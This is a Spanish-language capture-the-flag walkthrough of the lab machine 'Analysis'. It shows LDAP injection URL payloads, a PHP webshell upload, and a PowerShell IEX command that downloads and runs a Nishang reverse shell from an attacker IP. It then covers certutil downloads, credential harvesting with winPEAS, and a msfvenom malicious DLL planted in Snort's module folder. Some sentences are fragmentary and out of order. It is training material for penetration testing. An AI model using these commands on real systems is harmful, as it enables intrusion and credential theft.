Analysis
Última actualización
¿Te fue útil?
Última actualización
¿Te fue útil?
Analysis
es una máquina Windows de dificultad difícil, que presenta varias vulnerabilidades, enfocadas en aplicaciones web, privilegios de Active Directory (AD) y manipulación de procesos. Inicialmente, una vulnerabilidad de Inyección LDAP nos proporciona credenciales para autenticarnos en una aplicación web protegida. A través de esta aplicación, se obtiene acceso al sistema local obteniendo la ejecución de comandos a través de una carga de archivo HTA
.
En el sistema objetivo, las credenciales de otro usuario se encuentran en los archivos de registro de la aplicación web. Posteriormente, al implementar un API Hook
sobre BCTextEncoder
, se descifra una contraseña cifrada y se usa para pivotar a otro usuario. Finalmente, al cambiar la contraseña de una cuenta que tiene derechos DCSync
contra el dominio, se obtiene acceso administrativo al controlador de dominio.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Analysis.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Probaremos de intentar enumerar a través del DNS (Puerto 53) para ver si encontramos algún registro DNS o si podemos realizar un Zone Transfer Attack, pero no encontramos nada más y tampoco podemos realizar dicho ataque.
Por lo tanto, procederemos a intentar enumerar directorios que se encuentren en el sitio web. Comprobamos varios directorios.
Probando de acceder a ellos, comprobamos que nos reporta un error 403 Forbidden, indicando que no disponemos de acceso a los directorios. Por lo tanto, tampoco podemos realizar "directory listing".
Probaremos de enumerar posibles subdominios del sitio web, entre los cuales encontramos un subdominio "internal" que nos da error 403 Forbidden, es decir, sin permisos para acceder, pero el subdominio existe.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.
Intentaremos enumerar directorios para este subdominio que hemos encontrado a través de gobuster, comprobamos que encontramos varios directorios.
Sabemos que la página tiene como lenguaje de programación PHP. Por lo tanto, probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "users" del subdominio "internal".
Probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "employees" del subdominio "internal".
En el primer escaneo, todos nos devuelve 17ch de respuesta, que equivale al mensaje que nos aparecía de (missing parameter).
Por lo tanto, pensando que el total de carácteres cambiará si le pasamos la variable correcta, procedemos a ocultar el total de carácteres (17). Encontramos que parece ser que hay una variable válida nombrada "name".
Por otro lado, procederemos a intentar enumerar usuarios válidos del dominio a través de Kerbrute.
Procederemos a realizar una enumeración de usuarios a través del RPC y a realizar un RID Brute Force Attack, sin resultado ninguno.
De la lista de usuarios que hemos sacado con Kerbrute, podemos ir intentando a realizar unn AS-REP Roasting Attack.
http://internal.analysis.htb/users/list.php?name=administrator
Probando uno de los usuarios que hemos enumerado anteriormente con Kerbrute comprobamos que si nos aparece el resultado. Nos quita el apartado "CONTACT_" y nos aparece el campo del usuario en "Usernam" y su respectico First y Last Name.
http://internal.analysis.htb/users/list.php?name=jangel
Intentaremos realizar un SQL Injection (SQLI) para ver a qué nos enfrentamos, ya que de momento no sabemos si es una QUERY de LDAP o SQL. Probando una SQLI básica, comprobamos que no nos muestra nada más.
http://internal.analysis.htb/users/list.php?name=administrator' or 1=1;-- -
Probaremos la siguiente SQLI para ver si la página tarda en responder 5 segundos y así saber si es vulnerable a SQLI y corre un servicio SQL detrás de esta QUERY. Comprobamos que desaparece el formulario y no nos realiza el sleep de 5 segundos.
http://internal.analysis.htb/users/list.php?name=administrator' and sleep(5);-- -
Probando de pasarle el siguiente valor () y comprobamos que vuelve a desaparecer el contenido del formulario. Esto nos puede dar una gran pista, ya que podemos pensar que lo que detrás está de la QUERY son consultas LDAP.
http://internal.analysis.htb/users/list.php?name=()
Para acabar de confirmar que se trate de QUERYS de LDAP, probaremos de intentar que nos muestre el primer resultado del valor que empiece por 'a' y utilizar el '*' para completar el resto del campo. Comprobamos que nos muestra el primer resultado que empieza por 'a', por lo tanto, parece ser que la QUERY que hay detrás es de LDAP.
http://internal.analysis.htb/users/list.php?name=a*
Procederemos a crear un script en Python para automatizar la explotación de LDAP Injection.
En este primer script de prueba, testearemos como funciona la página web y en qué campos se almacena el valor del "username" para quedarnos con ese dato.
En este caso, hemos parado el script con pdb.set_trace() y al ejecutar el script, mostraremos el contenido de r.text, comprobamos que el usuario se almacena entre las etiquetas "<strong>".
A través de re.findall nos quedaremos con el valor que hay entre las etiquetas "<strong>".
Esto sería lo mismo que revisarlo des de la página misma con (Ctrl + U).
Crearemos el siguiente script en Python que a través de fuerza bruta, irá enumerando usuarios válidos de LDAP a través del formulario haciendo uso de LDAP Injection, utilizando el * como comodín.
Probaremos de ejeuctar el script realizado y comprobamos que nos ha enumerado los siguientes usuarios.
Estos usuarios los añadiremos a la lista de usuarios que ya disponemos, y como hay usuarios nuevos, intentaremos nuevamente de realizar un AS-REP Roasting Attack, sin éxito tampoco.
Probaremos de realizar un password spraying para ver si algún usuario utiiza su mismo nombre de usuario como contraseña. No obtenemos éxito.
Intentaremos de realizar un ataque de fuerza bruta para ver si algún usuario sus credenciales es el nombre de usuario de otros usuarios de la lista. Tampoco obtenemos éxito ninguno.
Crearemos un nuevo script de Python, modificando el que ya tenemos para intentar enumerar otro atributo de LDAP como es el campo de "Description" para ver si algún usuario dispone de algúna informacion/contraseña en su usuario.
En este primer script, probaremos de ver si algunos de los usuarios que disponemos, tiene descripción. Cuando tengamos algún usuario que tenga descripción, enumeraremos a través de fuerza bruta el contenido de la descripción del usuario en LDAP.
Comprobamos que hemos encontrado que el usuario "technician" dispone de descripción, una descripción que empiza por "9", un tanto peculiar para ser una descripción de un usuario LDAP.
Como ya sabemos que el usuario "technician" dispone de descripción. Realizaremos un ataque de fuerza bruta para enumerar el contenido de la descripción a través del script de Pyton.
Ejecutaremos el script de Python y a través de fuerza bruta comprobaremos el contenido de la descripción, una descripción un tanto extraña, que más bien parece una contraseña.
Verificaremos con netexec de validar las credenciales en SMB y WinRM, comprobamos que las credenciales son válidas pero no disponemos de acceso para acceder mediante Evil-WinRM en el protocolo de WinRM.
Como ya disponemos de unas credenciales válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS). No encontramos ningún TGS.
Probaremos de realizar un RID Brute Force Attack para enumerar usuarios a través del Relative Identifier (RID) con netexec y (--rid-brute). Comprobamos que encontramos más usuarios válidos.
Como queremos quedarnos solamente con los nombres de usuarios, jugaremos con expresiones regulares (regex) para quedarnos con el output que nos interesa y añadiremos el contenido en el archivo "users.txt" que ya existen los otros usuarios enumerados, es decir, los añadirá sin eliminar el contenido actual.
Como tenemos usuarios repetids, ordenadoremos los resultados, los filtraremos para quedarnos con valores únicos y a través de sponge lo pasaremos nuevamente el resultado al archivo "users.txt".
Ya que disponemos en principio de todos los usuarios válidos, probaremos nuevamente de realizar un AS-REP Roasting Attack para intentar obtener un Ticket Granting Ticket (TGT) válido. No obtenemos resultado ninguno nuevamente.
Probaremos de enumerar el LDAP a través de ldapdomaindump con las credenciales obtenidas.
Revisando el grupo de "Remote Management Users" comprobamos que los usuarios que disponen de permisos para acceder por remoto son los siguientes, también comprobamos que el equipo se encuentra en francés.
Comprobamos que logramos acceder al panel de Analysis y de las tecnologías que utiliza el sitio web, entre ellos, lenguaje de programación PHP.
En el apartado de "SOC Report" vemos que podemos subir un archivo que se ejecutará en una Sandvoz por parte de los analistas SOC. Para ello crearemos un archivo PHP de una WebShell simple.
Subiremos el archivo "cmd.php" de la WebShell que hemos creado.
Comprobaremos que se ha subido correctamente el archivo.
Como no sabemos donde se sube el archivo, probaremos con gobuster de enumerar algún directorio donde se suban estos archivos, encontramos el directorio "uploads".
Probaremos de acceder a la WebShell que hemos subido y probaremos de ejeuctar comandos, por ejemplo "whoami" para saber el usuario que ejecuta la página web.
http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=whoami
Como ya tenemos un Remote Code Execution (RCE), probaremos de establarnos una Reverse Shell. Nos pondremos con nc en escucha por el puerto 443.
Utilizaremos el script de .ps1 de Nishang para establecernos una Reverse Shell, modificaremos el contenido de "Invoke-PowerShellTcp.ps1" y al final del script pondremos el Invoke para que al importarlo en memoria se ejecute la Reverse Shell en el equipo víctima.
Pasaremos la ejecución del comando con Powershell y IEX para importarlo en memoria el Script que tenemos nosotros en nuestro servidor HTTP de Python.
http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14/PS.ps1')
Comrpobamos que ganamos acceso al equipo de ANALYSIS.
Probaremos de enumerar el sistema en busca de vías potenciales para escalar nuestro privilegio, ya que actualmente somo suna cuenta de servicio (svc).
Nos copiaremos el winPEASx64.exe en nuestro directorio actual de trabajo y a través del servidor HTTP Python lo compartiremos para que en el equipo de Windows lo descarguemos a través de certutil.exe.
Ejecutando el winPEAS comprobamos que ha encontrado las credenciales almacenadas en el AutoLogon del usuario "jdoe".
Intentaremos de validar las credenciales para autenticarnos en el SMB y comprobar que podemos acceder por WinRM, ya que en principio según habíamos enumerado anteriormente, el usuario "jdoe" formaba parte del grupo de "Remote Management Users".
Probaremos de acceder al WinRM a travésd e evil-winrm y las credenciales de jdoe. Comproobamos la flag de user.txt
Revisando el manual de Snort, comprobamos que aparece un apartado de configuración que habla sobre "Dynamic Modules", probaremos de intentar ver si podemos realizar una explotación de esto.
Comprobaremos la ruta donde se guardan y ejecutan estos módulos dinámicos, también comprobaremos si disponemos de permisos de lectura, escritura y ejecución sobre la carpeta.
A través de msfvenom crearemos un archivo DLL malicioso de una Reverse Shell. Levantaremos un servidor HTTP con Python para compartir este DLL con el equipo que queremos comprometer y con certutil.exe nos descargaremos el DLL malicioso.
En otra terminal nos pondremos en escucha por el puerto que hemos indicado en el DLL malicioso y comprobamos que después de unos minutos, ganamos acceso a la máquina y quien ejecutaba el Snort era el usuario "Administrator", por dicho motivo ganamos acceso a la máquina como dicho usuario.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Probaremos de acceder al sitio web que se encuentra expuesto en el puerto 80 (HTTP) y comprobaremos que tecnologías utiliza a través de Wappalyzer.
Comprobaremos de acceder a y comprobaremos que nos arroja un error 403.
Verificamos que encontramos un archivo PHP en
Verificamos que encontramos un archivo PHP en
Probando de acceder a comprobamos que nos indica que le tenemos que pasar un parámetro para que funcione la página, desconocemos el nombre del parámetro pero podremos intentar fuzzearlo más adelante.
Si accedemos a nos pide credenciales que no disponemos.
Intentaremos de realizar fuzzing a la web para intentar encontrar el parámetro que nos hace falta para la página
Sobre la página web que hemos encontrado (), probaremos de intentar de enumerar por ejemplo el usuario "Administrator", no obtenemos respuesta ninguna.
Probaremos de autenticarnos en el panel de inicio de sesión de con las credenciales del usuario "technician".
Revisando la raíz del equipo, comprobamos que hay una carpeta llamada que es un sistema de detección de intrusos.